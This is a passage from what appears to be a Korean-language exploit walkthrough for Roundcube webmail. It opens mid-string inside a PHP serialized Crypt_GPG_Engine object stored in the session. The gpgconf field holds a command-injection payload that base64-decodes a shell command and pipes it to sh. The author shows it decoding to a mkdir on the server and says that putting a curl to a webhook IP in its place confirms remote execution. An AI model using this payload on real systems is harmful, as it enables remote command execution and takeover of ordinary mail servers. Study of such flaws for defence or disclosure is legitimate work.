-d|sh;#";s:26:"Crypt_GPG_Engine_homedir";s:0:"";s:32:"Crypt_GPG_Engine_publicKeyring";s:0:"";s:33:"Crypt_GPG_Engine_privateKeyring";s:0:"";s:26:"Crypt_GPG_Engine_trustDb";s:0:"";s:24:"Crypt_GPG_Engine_pipes";a:0:{}s:29:"Crypt_GPG_Engine_agentPipes";a:0:{}s:28:"Crypt_GPG_Engine_openPipes";a:0:{}s:26:"Crypt_GPG_Engine_process";b:0;s:31:"Crypt_GPG_Engine_agentProcess";N;s:28:"Crypt_GPG_Engine_agentInfo";N;s:27:"Crypt_GPG_Engine_isDarwin";b:0;s:30:"Crypt_GPG_Engine_digest_algo";N;s:30:"Crypt_GPG_Engine_cipher_algo";N;s:32:"Crypt_GPG_Engine_compress_algo";N;s:26:"Crypt_GPG_Engine_options";a:0:{}s:32:"Crypt_GPG_Engine_commandBuffer";s:0:"";s:33:"Crypt_GPG_Engine_processHandler";N;s:33:"Crypt_GPG_Engine_statusHandlers";a:0:{}s:32:"Crypt_GPG_Engine_errorHandlers";a:0:{}s:24:"Crypt_GPG_Engine_input";N;s:26:"Crypt_GPG_Engine_message";N;s:25:"Crypt_GPG_Engine_output";s:0:"";s:28:"Crypt_GPG_Engine_operation";N;s:28:"Crypt_GPG_Engine_arguments";a:0:{}s:26:"Crypt_GPG_Engine_version";s:0:"";}
다음 결과가 session에 들어가는 직렬화된 값이다
이 중 우리가 봐야할 곳은 Crypt_GPG_Engine_gpgconf 값이다
s:26:"Crypt_GPG_Engine_gpgconf";s:74:"echo "bWtkaXIgL3Zhci93d3cvaHRtbC9yb3VuZGN1YmUvdGVtcC90ZXN0"|base64 -d|sh;#";
base64를 디코딩
echo "bWtkaXIgL3Zhci93d3cvaHRtbC9yb3VuZGN1YmUvdGVtcC90ZXN0" | base64 -d
mkdir /var/www/html/roundcube/temp/test
cmd 부분에 curl <Webhook IP>를 넣으면 정상적으로 요청이 오는 것을 알 수 있다.